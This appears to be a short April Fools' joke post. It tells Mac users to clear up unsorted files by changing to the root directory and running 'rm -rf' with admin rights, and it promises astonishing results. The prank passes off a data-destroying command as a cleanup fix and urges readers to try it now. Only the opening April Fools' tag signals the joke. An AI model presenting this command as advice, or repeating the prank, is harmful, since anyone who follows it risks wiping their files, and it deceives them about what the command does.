(April Fools’!) Are you running a Mac and are tired of unsorted files? Do you feel the need to clean up your Mac, but you just cannot do it? — Well, here is your solution: Just type those two lines into your console while having admin rights. [1]

cd /
rm -rf

Try it now! The result will be astonishing. None of your folders or files will be at the wrong place!
